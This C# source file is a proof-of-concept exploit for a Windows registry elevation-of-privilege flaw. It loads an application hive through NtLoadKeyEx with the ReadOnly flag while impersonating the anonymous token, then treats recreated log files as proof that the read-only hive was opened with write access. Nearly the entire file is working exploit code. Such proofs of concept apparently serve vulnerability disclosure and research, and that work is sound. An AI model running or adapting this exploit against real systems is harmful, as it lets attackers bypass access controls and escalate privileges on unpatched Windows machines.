using Microsoft.Win32;
|
using Microsoft.Win32.SafeHandles;
|
using System;
|
using System.Diagnostics;
|
using System.IO;
|
using System.Reflection;
|
using System.Runtime.InteropServices;
|
using System.Text;
|
using System.Threading;
|
|
namespace PoC_NtLoadKeyEx_ReadOnlyFlag_EoP
|
{
|
class Program
|
{
|
[Flags]
|
public enum AttributeFlags : uint
|
{
|
None = 0,
|
Inherit = 0x00000002,
|
Permanent = 0x00000010,
|
Exclusive = 0x00000020,
|
CaseInsensitive = 0x00000040,
|
OpenIf = 0x00000080,
|
OpenLink = 0x00000100,
|
KernelHandle = 0x00000200,
|
ForceAccessCheck = 0x00000400,
|
IgnoreImpersonatedDevicemap = 0x00000800,
|
DontReparse = 0x00001000,
|
}
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
public sealed class UnicodeString
|
{
|
ushort Length;
|
ushort MaximumLength;
|
[MarshalAs(UnmanagedType.LPWStr)]
|
string Buffer;
|
|
public UnicodeString(string str)
|
{
|
Length = (ushort)(str.Length * 2);
|
MaximumLength = (ushort)((str.Length * 2) + 1);
|
Buffer = str;
|
}
|
}
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
public sealed class ObjectAttributes : IDisposable
|
{
|
int Length;
|
IntPtr RootDirectory;
|
IntPtr ObjectName;
|
AttributeFlags Attributes;
|
IntPtr SecurityDescriptor;
|
IntPtr SecurityQualityOfService;
|
|
private static IntPtr AllocStruct(object s)
|
{
|
int size = Marshal.SizeOf(s);
|
IntPtr ret = Marshal.AllocHGlobal(size);
|
Marshal.StructureToPtr(s, ret, false);
|
return ret;
|
}
|
|
private static void FreeStruct(ref IntPtr p, Type struct_type)
|
{
|
Marshal.DestroyStructure(p, struct_type);
|
Marshal.FreeHGlobal(p);
|
p = IntPtr.Zero;
|
}
|
|
public ObjectAttributes(string object_name)
|
{
|
Length = Marshal.SizeOf(this);
|
if (object_name != null)
|
{
|
ObjectName = AllocStruct(new UnicodeString(object_name));
|
}
|
Attributes = AttributeFlags.None;
|
}
|
|
public void Dispose()
|
{
|
if (ObjectName != IntPtr.Zero)
|
{
|
FreeStruct(ref ObjectName, typeof(UnicodeString));
|
}
|
GC.SuppressFinalize(this);
|
}
|
|
~ObjectAttributes()
|
{
|
Dispose();
|
}
|
}
|
|
[Flags]
|
public enum LoadKeyFlags
|
{
|
None = 0,
|
AppKey = 0x10,
|
Exclusive = 0x20,
|
Unknown800 = 0x800,
|
ReadOnly = 0x2000,
|
}
|
|
[Flags]
|
public enum GenericAccessRights : uint
|
{
|
None = 0,
|
GenericRead = 0x80000000,
|
GenericWrite = 0x40000000,
|
GenericExecute = 0x20000000,
|
GenericAll = 0x10000000,
|
Delete = 0x00010000,
|
ReadControl = 0x00020000,
|
WriteDac = 0x00040000,
|
WriteOwner = 0x00080000,
|
Synchronize = 0x00100000,
|
MaximumAllowed = 0x02000000,
|
}
|
|
public class NtException : ExternalException
|
{
|
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
private static extern IntPtr GetModuleHandle(string modulename);
|
|
[Flags]
|
enum FormatFlags
|
{
|
AllocateBuffer = 0x00000100,
|
FromHModule = 0x00000800,
|
FromSystem = 0x00001000,
|
IgnoreInserts = 0x00000200
|
}
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
private static extern int FormatMessage(
|
FormatFlags dwFlags,
|
IntPtr lpSource,
|
int dwMessageId,
|
int dwLanguageId,
|
out IntPtr lpBuffer,
|
int nSize,
|
IntPtr Arguments
|
);
|
|
[DllImport("kernel32.dll")]
|
private static extern IntPtr LocalFree(IntPtr p);
|
|
private static string StatusToString(int status)
|
{
|
IntPtr buffer = IntPtr.Zero;
|
try
|
{
|
if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
|
GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
|
{
|
return Marshal.PtrToStringUni(buffer);
|
}
|
}
|
finally
|
{
|
if (buffer != IntPtr.Zero)
|
{
|
LocalFree(buffer);
|
}
|
}
|
return String.Format("Unknown Error: 0x{0:X08}", status);
|
}
|
|
public NtException(int status) : base(StatusToString(status))
|
{
|
}
|
}
|
|
public static void StatusToNtException(int status)
|
{
|
if (status < 0)
|
{
|
throw new NtException(status);
|
}
|
}
|
|
[DllImport("Advapi32.dll")]
|
static extern bool ImpersonateAnonymousToken(
|
IntPtr ThreadHandle);
|
|
[DllImport("Advapi32.dll")]
|
static extern bool RevertToSelf();
|
|
[DllImport("ntdll.dll")]
|
public static extern int NtLoadKeyEx(ObjectAttributes DestinationName, ObjectAttributes FileName, LoadKeyFlags Flags,
|
IntPtr TrustKeyHandle, IntPtr EventHandle, GenericAccessRights DesiredAccess, out SafeRegistryHandle KeyHandle, int Unused);
|
|
static RegistryKey LoadKey(string path, bool read_only)
|
{
|
string reg_name = @"\Registry\A\" + Guid.NewGuid().ToString("B");
|
ObjectAttributes KeyName = new ObjectAttributes(reg_name);
|
ObjectAttributes FileName = new ObjectAttributes(@"\??\" + path);
|
SafeRegistryHandle keyHandle;
|
LoadKeyFlags flags = LoadKeyFlags.AppKey;
|
if (read_only)
|
flags |= LoadKeyFlags.ReadOnly;
|
|
int status = NtLoadKeyEx(KeyName,
|
FileName, flags, IntPtr.Zero,
|
IntPtr.Zero, GenericAccessRights.GenericRead, out keyHandle, 0);
|
if (status != 0)
|
return null;
|
return RegistryKey.FromHandle(keyHandle);
|
}
|
|
static bool CheckForLogs(string path)
|
{
|
return File.Exists(path + ".LOG1") || File.Exists(path + ".LOG2");
|
}
|
|
static void DoExploit()
|
{
|
string path = Path.GetFullPath("dummy.hiv");
|
RegistryKey key = LoadKey(path, false);
|
if (key == null)
|
{
|
throw new Exception("Something went wrong, couldn't create dummy hive");
|
}
|
key.Close();
|
|
// Ensure the log files are deleted.
|
File.Delete(path + ".LOG1");
|
File.Delete(path + ".LOG2");
|
if (CheckForLogs(path))
|
{
|
throw new Exception("Couldn't delete log files");
|
}
|
|
key = LoadKey(path, true);
|
if (key == null || CheckForLogs(path))
|
{
|
throw new Exception("Didn't open hive readonly");
|
}
|
key.Close();
|
|
ImpersonateAnonymousToken(new IntPtr(-2));
|
key = LoadKey(path, true);
|
RevertToSelf();
|
if (!CheckForLogs(path))
|
{
|
throw new Exception("Log files not recreated");
|
}
|
|
Console.WriteLine("[SUCCESS]: Read Only Hive Opened with Write Access");
|
}
|
|
static void Main(string[] args)
|
{
|
try
|
{
|
DoExploit();
|
}
|
catch (Exception ex)
|
{
|
Console.WriteLine("[ERROR]: {0}", ex.Message);
|
}
|
}
|
}
|
}
|